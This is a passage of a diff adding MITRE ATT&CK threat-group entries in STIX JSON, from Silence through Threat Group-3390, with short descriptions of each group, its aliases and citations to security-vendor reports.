Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2019-05-24T17:57:36.491Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0091", + "external_id": "G0091", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "source_name": "Silence" + }, + { + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)", + "source_name": "WHISPER SPIDER" + }, + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "source_name": "Crowdstrike GTR2020 Mar 2020" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2021-04-21T12:02:00.278Z", + "name": "Silent Librarian", + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created": "2021-02-03T16:36:38.145Z", + "aliases": [ + "Silent Librarian", + "TA407", + "COBALT DICKENS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0122", + "external_id": "G0122", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", + "source_name": "TA407" + }, + { + "description": "(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", + "source_name": "COBALT DICKENS" + }, + { + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021.", + "source_name": "DOJ Iran Indictments March 2018" + }, + { + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021.", + "source_name": "Phish Labs Silent Librarian" + }, + { + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "source_name": "Malwarebytes Silent Librarian October 2020" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "source_name": "Proofpoint TA407 September 2019" + }, + { + "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", + "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021.", + "source_name": "Secureworks COBALT DICKENS August 2018" + }, + { + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021.", + "source_name": "Secureworks COBALT DICKENS September 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "SilverTerrier", + "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)", + "x_mitre_version": "1.1", + "modified": "2020-05-19T23:26:11.780Z", + "aliases": [ + "SilverTerrier" + ], + "created": "2019-01-29T21:36:59.793Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0083", + "external_id": "G0083", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)", + "source_name": "SilverTerrier" + }, + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + }, + { + "source_name": "Unit42 SilverTerrier 2016", + "description": "Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sowbug", + "x_mitre_version": "1.1", + "modified": "2020-03-30T02:46:16.483Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Sowbug" + ], + "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)", + "x_mitre_contributors": [ + "Alan Neville, @abnev" + ], + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0054", + "external_id": "G0054", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Sowbug Nov 2017)", + "source_name": "Sowbug" + }, + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Stealth Falcon", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", + "x_mitre_version": "1.2", + "modified": "2020-11-23T18:57:19.208Z", + "aliases": [ + "Stealth Falcon" + ], + "created": "2017-05-31T21:32:06.390Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0038", + "external_id": "G0038", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Citizen Lab Stealth Falcon May 2016)", + "source_name": "Stealth Falcon" + }, + { + "url": "https://citizenlab.org/2016/05/stealth-falcon/", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2021-10-07T12:21:31.309Z", + "name": "Stolen Pencil", + "created": "2019-02-05T17:56:55.233Z", + "id": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0086", + "external_id": "G0086", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Netscout Stolen Pencil Dec 2018)", + "source_name": "Stolen Pencil" + }, + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Strider", + "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)", + "x_mitre_version": "1.1", + "modified": "2020-06-29T01:43:19.374Z", + "aliases": [ + "Strider", + "ProjectSauron" + ], + "created": "2017-05-31T21:32:07.541Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0041", + "external_id": "G0041", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "source_name": "Strider" + }, + { + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)", + "source_name": "ProjectSauron" + }, + { + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "source_name": "Symantec Strider Blog" + }, + { + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Blog" + }, + { + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suckfly", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:21:39.854Z", + "aliases": [ + "Suckfly" + ], + "created": "2017-05-31T21:32:06.777Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0039", + "external_id": "G0039", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)", + "source_name": "Suckfly" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + }, + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TA459", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:22:32.962Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "TA459" + ], + "id": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "description": "[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0062", + "external_id": "G0062", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Proofpoint TA459 April 2017)", + "source_name": "TA459" + }, + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TA505", + "description": "[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)", + "x_mitre_version": "1.3", + "modified": "2021-10-14T20:27:57.195Z", + "aliases": [ + "TA505", + "Hive0065" + ], + "created": "2019-05-28T15:54:17.213Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0092", + "external_id": "G0092", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: IBM TA505 April 2020)", + "source_name": "Hive0065" + }, + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019" + }, + { + "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", + "source_name": "IBM TA505 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "TA551", + "x_mitre_version": "1.1", + "modified": "2021-09-30T12:58:59.065Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "TA551", + "GOLD CABIN", + "Shathak" + ], + "id": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "description": "[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)", + "x_mitre_contributors": [ + "Shuhei Sasada, Cyber Defense Institute, Inc", + "Ryo Tamura, SecureBrain Corporation", + "Shotaro Hamamoto, NEC Solution Innovators, Ltd", + "Yusuke Niwa, ITOCHU Corporation", + "Takuma Matsumoto, LAC Co., Ltd" + ], + "created": "2021-03-19T21:04:00.692Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0127", + "external_id": "G0127", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Secureworks GOLD CABIN)", + "source_name": "GOLD CABIN" + }, + { + "description": "(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)", + "source_name": "Shathak" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", + "source_name": "Secureworks GOLD CABIN" + }, + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + }, + { + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", + "source_name": "Unit 42 Valak July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "TEMP.Veles", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", + "x_mitre_version": "1.3", + "modified": "2021-10-17T14:49:09.631Z", + "aliases": [ + "TEMP.Veles", + "XENOTIME" + ], + "created": "2019-04-16T15:14:38.533Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0088", + "url": "https://attack.mitre.org/groups/G0088" + }, + { + "description": "(Citation: FireEye TRITON 2019)", + "source_name": "TEMP.Veles" + }, + { + "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )", + "source_name": "XENOTIME" + }, + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + }, + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html", + "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", + "source_name": "FireEye TEMP.Veles JSON April 2019" + }, + { + "source_name": "Dragos Xenotime 2018", + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/" + }, + { + "source_name": "Pylos Xenotime 2019", + "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", + "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "source_name": "FireEye TEMP.Veles 2018 " + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Taidoor", + "x_mitre_version": "1.0", + "modified": "2021-10-15T00:34:25.521Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Taidoor" + ], + "x_mitre_deprecated": true, + "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46", + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.", + "created": "2017-05-31T21:31:52.018Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0015", + "external_id": "G0015", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "TeamTNT", + "x_mitre_version": "1.0", + "modified": "2021-10-15T18:47:18.824Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "TeamTNT" + ], + "id": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", + "x_mitre_contributors": [ + "Will Thomas, Cyjax" + ], + "created": "2021-10-01T01:57:31.229Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0139", + "external_id": "G0139", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/", + "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.", + "source_name": "Palo Alto Black-T October 2020" + }, + { + "url": "https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/", + "description": "Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021.", + "source_name": "Lacework TeamTNT May 2021" + }, + { + "url": "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/", + "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", + "source_name": "Intezer TeamTNT September 2020" + }, + { + "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/", + "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", + "source_name": "Cado Security TeamTNT Worm August 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "source_name": "Unit 42 Hildegard Malware" + }, + { + "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf", + "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", + "source_name": "Trend Micro TeamTNT" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera", + "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", + "source_name": "ATT TeamTNT Chimaera September 2020" + }, + { + "url": "https://blog.aquasec.com/container-security-tnt-container-attack", + "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.", + "source_name": "Aqua TeamTNT August 2020" + }, + { + "url": "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", + "description": "Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.", + "source_name": "Intezer TeamTNT Explosion September 2021" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "The White Company", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:24:52.290Z", + "aliases": [ + "The White Company" + ], + "created": "2019-05-02T00:08:18.314Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0089", + "external_id": "G0089", + "source_name": "mitre-attack" + }, + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Threat Group-1314", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", + "x_mitre_version": "1.1", + "modified": "2020-03-19T21:58:20.831Z", + "aliases": [ + "Threat Group-1314", + "TG-1314" + ], + "created": "2017-05-31T21:31:59.120Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0028", + "external_id": "G0028", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Dell TG-1314)", + "source_name": "Threat Group-1314" + }, + { + "description": "(Citation: Dell TG-1314)", + "source_name": "TG-1314" + }, + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Threat Group-3390", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", + "x_mitre_version": "1.5", + "modified": "2021-10-12T19:21:39.120Z", + "aliases": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse" + ], + "created": "2017-05-31T21:31:58.518Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0027", + "external_id": "G0027", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "Threat Group-3390" + }, + { + "description": "(Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "TG-3390" + }, + { + "description": "(Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)", + "source_name": "Emissary Panda" + }, + { + "description": "(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 